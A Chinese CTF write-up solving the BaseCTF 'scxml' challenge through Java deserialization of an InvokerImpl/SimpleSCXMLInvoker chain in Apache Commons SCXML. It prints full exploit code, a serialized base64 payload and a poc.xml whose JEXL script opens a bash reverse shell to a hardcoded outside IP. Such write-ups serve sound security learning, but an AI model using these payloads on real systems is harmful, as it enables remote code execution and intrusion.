BaseCTF scxml 详解

视频教程在我主页简介和专栏里

目录:

环境搭建

  jadx 反编译

  本题环境搭建

 题目分析

 番外

环境搭建,给的附件中就一个 Main.java 和四个 jar 包,借由这道题简单讲讲一般 CTFJAVA 题目的环境搭建

环境搭建

jadx 反编译

之前前面看的几道题由于都是 spring 环境,自己写的类也少,所以都是直接打开的 jar 包复制过去的, idea 会自动反编译 class 文件(当然只是不能保存为 java 文件而已,如果想要实现反编译并保存可以试试其插件)

直接用 jadx 打开整个文件夹,然后 ctrl+E 直接保存编译后的源代码,然后再用 idea 打开,不过这种一般有个问题,就是当反编译的文件太多的时候就会出现报错(因为打包时的各个环境不同,不能做到全部反编译也是很正常的),这种时候一般有三种方法

一、

慢慢修,也就是对照着 idea 中的 class 文件改。

二、

直接删除报错的 java 文件,然后引入原本的 jar 包当作依赖,不过这样就会 java 文件混子 class 文件,不推荐,因为之所以不用 class 文件就是因为全局搜方法的时候无法搜到。

但是如果知道需要什么方法,只需要简单看看代码其实不反编译也是可以的(这种对特别简单的题可以用,然后利用 tabby 直接寻找链子)。

三、

直接把那种一看就不是自己写的类之间用 maven 引入,看包名去 maven 上搜就知道该引入什么了。

总结、

以上方法其实还需要灵活应变,比如 maven 引入一些, jadx 反编译一些,有错的再用一来改。

本题环境搭建

再 lib 目录下有四个 jar 包

一看就知道前三个是可以通过 maven 引入的,而最后一个是出题人自己写的,idea 打开看看,根据依赖,写入 pom.xml 中

<dependencies> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.1.3</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-jexl</artifactId> <version>2.1.1</version> <optional>true</optional> </dependency> <dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groovy</artifactId> <version>2.2.2</version> <optional>true</optional> </dependency> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> <optional>true</optional> </dependency> <dependency> <groupId>logkit</groupId> <artifactId>logkit</artifactId> <version>1.0.1</version> <optional>true</optional> </dependency> <dependency> <groupId>avalon-framework</groupId> <artifactId>avalon-framework</artifactId> <version>4.1.5</version> <optional>true</optional> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>servlet-api</artifactId> <version>2.3</version> <scope>provided</scope> <optional>true</optional> </dependency> <dependency> <groupId>org.apache.bsf</groupId> <artifactId>bsf-api</artifactId> <version>3.1</version> <scope>provided</scope> </dependency></dependencies>

然后其中 commons-scxml2 引入时显示在阿里镜像源仓库无法找到,去官方搜搜是不是有这个依赖,

看到是有的,不过需要换一个镜像进行引入,最后所以依赖引入后我又把镜像改回去了,然后出问题了,到下载源码的时候这个 commons-scxml2 无法下载源码,造

但是好在其他的都能成功下载源码,那么就直接单独把这个 jar 包进行反编译修改掉报错就行了,

题目分析

先看 Main.java 源码

import com.sun.net.httpserver.HttpServer; import javax.naming.InitialContext; import java.io.IOException; public class Main {  public static void main(String[] args) throws IOException {  var port = Integer.parseInt(System.getenv().getOrDefault("PORT", "9000"));  var server = HttpServer.create(new java.net.InetSocketAddress(port), 0);  server.createContext("/", req -> {  var code = 200;  var response = switch (req.getRequestURI().getPath()) {  case "/scxml" -> {  try {  var param = req.getRequestURI().getQuery();  yield new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString();  } catch (Throwable e) {  e.printStackTrace();  yield ":(";  }  }  default -> {  code = 404;  yield "Not found";  }  };  req.sendResponseHeaders(code, 0);  var os = req.getResponseBody();  os.write(response.getBytes());  os.close();  });  server.start();  System.out.printf("Server listening on :%s\n", port);  } }

看到在路由 /scxml 中存在一个反序列化,然后反序列化后还调用 tostring() 方法,在看看出题人自己定义的类

package com.n1ght; import java.io.Serializable; import java.util.Map; import org.apache.commons.scxml2.invoke.Invoker; import org.apache.commons.scxml2.invoke.InvokerException; /* loaded from: n1ght.jar:com/n1ght/InvokerImpl.class */ public class InvokerImpl implements Serializable {  private final Invoker o;  private final String source;  private final Map params;  public InvokerImpl(Invoker o, String source, Map params) {  this.o = o;  this.source = source;  this.params = params;  }  public String toString() {  try {  this.o.invoke(this.source, this.params);  return "success invoke";  } catch (InvokerException e) {  throw new RuntimeException((Throwable) e);  }  } }

刚好有 tostring 方法,不难知道这里就是入口了,看到在 tostring 中调用了 Invoker 接口类的 invoke 方法,搜索一番发现只有 SimpleSCXMLInvoker 类进行了继承,跟进到其 invoke 方法

看不出什么所以然来,直接搜索 scxml 的 xxe 漏洞,

参考:https://pyn3rd.github.io/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/

给的 demo

看到是通过 SCXMLReader.read 来进行连接获取 URL 中的 xml 资源,然后利用 executor.setStateMachine(scxml); 来进行加载资源,最后通过 executor.go() 执行获得的内容。

这里的 invoke 方法中刚好都有所以 poc

import com.n1ght.InvokerImpl; import org.apache.commons.scxml2.SCInstance; import org.apache.commons.scxml2.SCXMLExecutor; import org.apache.commons.scxml2.env.jexl.JexlEvaluator; import org.apache.commons.scxml2.invoke.SimpleSCXMLInvoker; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; public class exp {  public static void main(String[] args)throws Exception {  SimpleSCXMLInvoker simin=new SimpleSCXMLInvoker();  Constructor constructor = SCInstance.class.getDeclaredConstructor(SCXMLExecutor.class);  constructor.setAccessible(true);  SCInstance sci = constructor.newInstance(new SCXMLExecutor());  setValue(sci,"evaluator",new JexlEvaluator());  setValue(simin,"parentSCInstance",sci);  HashMap hashmap = new HashMap();  InvokerImpl in =new InvokerImpl(simin,"http://106.53.212.184:9001/poc.xml",hashmap);  try {  ByteArrayOutputStream out = new ByteArrayOutputStream();  ObjectOutputStream objout = new ObjectOutputStream(out);  objout.writeObject(in);  objout.close();  out.close();  byte[] ObjectBytes = out.toByteArray();  String base64EncodedValue = Base64.getEncoder().encodeToString(ObjectBytes);  System.out.println(base64EncodedValue);  } catch (Exception e) {  e.printStackTrace();  }  }  public static void setValue(Object obj,String fieldName,Object value) throws Exception {  Field field = obj.getClass().getDeclaredField(fieldName);  field.setAccessible(true);  field.set(obj,value);  } }

payload

rO0ABXNyABVjb20ubjFnaHQuSW52b2tlckltcGyTOSc2zqCsvwIAA0wAAW90ACpMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9pbnZva2UvSW52b2tlcjtMAAZwYXJhbXN0AA9MamF2YS91dGlsL01hcDtMAAZzb3VyY2V0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyADNvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLmludm9rZS5TaW1wbGVTQ1hNTEludm9rZXIAAAAAAAAAAQIABVoACWNhbmNlbGxlZEwAC2V2ZW50UHJlZml4cQB+AANMAAhleGVjdXRvcnQAKUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL1NDWE1MRXhlY3V0b3I7TAAQcGFyZW50U0NJbnN0YW5jZXQAJkxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL1NDSW5zdGFuY2U7TAANcGFyZW50U3RhdGVJZHEAfgADeHAAcHBzcgAkb3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5TQ0luc3RhbmNlAAAAAAAAAAICAApMAAtjb21wbGV0aW9uc3EAfgACTAAIY29udGV4dHNxAH4AAkwACWV2YWx1YXRvcnQAJUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0V2YWx1YXRvcjtMAAhleGVjdXRvcnEAfgAGTAAJaGlzdG9yaWVzcQB+AAJMABRpbml0aWFsU2NyaXB0Q29udGV4dHQAI0xvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0NvbnRleHQ7TAAOaW52b2tlckNsYXNzZXNxAH4AAkwACGludm9rZXJzcQB+AAJMABRub3RpZmljYXRpb25SZWdpc3RyeXQAMExvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL05vdGlmaWNhdGlvblJlZ2lzdHJ5O0wAC3Jvb3RDb250ZXh0cQB+AAt4cHNyACVqYXZhLnV0aWwuQ29sbGVjdGlvbnMkU3luY2hyb25pemVkTWFwG3P5CUtLOXsDAAJMAAFtcQB+AAJMAAVtdXRleHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ABB4c3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgATeHNyADBvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLmVudi5qZXhsLkpleGxFdmFsdWF0b3IAAAAAAAAAAQIAAloAEGpleGxFbmdpbmVTaWxlbnRaABBqZXhsRW5naW5lU3RyaWN0eHAAAHNyACdvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLlNDWE1MRXhlY3V0b3IAAAAAAAAAAQIACFoACXN1cGVyU3RlcEwADWN1cnJlbnRTdGF0dXN0ACJMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9TdGF0dXM7TAANZXJyb3JSZXBvcnRlcnQAKUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0Vycm9yUmVwb3J0ZXI7TAAPZXZlbnRkaXNwYXRjaGVydAArTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvRXZlbnREaXNwYXRjaGVyO0wAA2xvZ3QAIExvcmcvYXBhY2hlL2NvbW1vbnMvbG9nZ2luZy9Mb2c7TAAKc2NJbnN0YW5jZXEAfgAHTAAJc2VtYW50aWNzdAAqTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvU0NYTUxTZW1hbnRpY3M7TAAMc3RhdGVNYWNoaW5ldAAnTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvbW9kZWwvU0NYTUw7eHABc3IAIG9yZy5hcGFjaGUuY29tbW9ucy5zY3htbDIuU3RhdHVzAAAAAAAAAAECAAJMAAZldmVudHN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247TAAGc3RhdGVzdAAPTGphdmEvdXRpbC9TZXQ7eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hTZXS6RIWVlri3NAMAAHhwdwwAAAAQP0AAAAAAAAB4cHBzcgArb3JnLmFwYWNoZS5jb21tb25zLmxvZ2dpbmcuaW1wbC5KZGsxNExvZ2dlckJmt5/gKqC8AgABTAAEbmFtZXEAfgADeHB0ACdvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLlNDWE1MRXhlY3V0b3JzcQB+AAlzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ACt4c3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgAteHBxAH4AHnNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AL3hwc3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgAxeHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AM3hzcgAub3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5Ob3RpZmljYXRpb25SZWdpc3RyeQAAAAAAAAABAgABTAAEcmVnc3EAfgACeHBzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ADd4cHNyADZvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLnNlbWFudGljcy5TQ1hNTFNlbWFudGljc0ltcGwAAAAAAAAAAQIAAkwABmFwcExvZ3EAfgAbTAAQdGFyZ2V0Q29tcGFyYXRvcnQAQExvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL3NlbWFudGljcy9UcmFuc2l0aW9uVGFyZ2V0Q29tcGFyYXRvcjt4cHNxAH4AJ3QAKG9yZy5hcGFjaGUuY29tbW9ucy5zY3htbDIuU0NYTUxTZW1hbnRpY3NzcgA+b3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5zZW1hbnRpY3MuVHJhbnNpdGlvblRhcmdldENvbXBhcmF0b3IAAAAAAAAAAQIAAHhwcHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AQHhwc3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgBCeHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4ARHhzcQB+ADVzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+AEd4cHBzcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4dAAiaHR0cDovLzEwNi41My4yMTIuMTg0OjkwMDEvcG9jLnhtbA==

成功弹出计算机

题目上复现获得 flag

poc.xml​​​​​​​

<?xml version="1.0"?><scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"><state id="run"><onentry><script>''.getClass().forName('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41My4yMTIuMTg0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")</script></onentry></state></scxml>

番外

其实一开始我是没用看到在反序列化后调用了 tostring 方法的,然后就自己试着去找怎么从 readObject 调用到 toString,还是简单说说思路吧,这里先直接从原生的类开始起手,不难想到 hashmap 的 readObject 可以,直接全局搜索 hashcode,看哪些的 hashcode 可以调用到 toString,发现太多了,找了一下就放弃了,

然后又是了一下 hashtable 的 readObject,可以调用到 get 方法,那么就从 get 找看哪些 get 方法可以调用到 toString 方法,发现一个 map 类差一点就能成功,可惜其 map 中的 key 和 value 的类型固定,key 不能为 Object 类型,而 get 中又是 key.toString()。

事后了解到了 tabby 静态代码分析工具,

配置参考下方附件

然后查找命令​​​​​​​

match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})match (sink:Method {NAME:"toString",CLASSNAME:"com.n1ght.InvokerImpl"})with source, collect(sink) as sinkscall tabby.algo.findJavaGadget(source,"someString",sinks[0], 12, false) yield pathreturn path limit 1

看到通过其强大的污点分析功能得到了一条链子,但是后面试了一下是错的。

同样搜索从 hashtable 的 readobject 到 tostring 一样的有一条链子,但是没有试过。​​​​​​​

match (source:Method {NAME:"readObject",CLASSNAME:"java.util.Hashtable"})match (sink:Method {NAME:"toString",CLASSNAME:"com.n1ght.InvokerImpl"})with source, collect(sink) as sinkscall tabby.algo.findJavaGadget(source,"someString",sinks[0], 12, false) yield pathreturn path limit 1

视频教程在我主页简介和专栏里

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关
相关推荐
咬光空气5 分钟前
Qt 5.14.2 学习记录 —— 오 信号与槽机制(2)
开发语言·qt·学习
唐梓航-求职中8 分钟前
缓存-Redis-常见问题-缓存击穿-永不过期+逻辑过期(全面 易理解)
数据库·redis·缓存
麦田里的稻草人w9 分钟前
【pyqt】(八)ui文件使用
python·ui·pyqt
Anna_Tong16 分钟前
阿里云Chat App消息服务——智能化时代的消息交互新选择
安全·阿里云·云计算
潜洋17 分钟前
Spring Boot教程之五十二:CrudRepository 和 JpaRepository 之间的区别
java·大数据·数据库·spring boot
Toormi18 分钟前
Python中协程间通信的方式有哪些?
开发语言·网络·python
Code花园20 分钟前
Bash语言的编程范式
开发语言·后端·golang
2401_8984106921 分钟前
MDX语言的网络编程
开发语言·后端·golang
赛亚超22 分钟前
将txt转成excel正则化公式的调整
人工智能·python·excel
念念不忘 必有回响23 分钟前
python初体验: 处理excel数据
开发语言·python·excel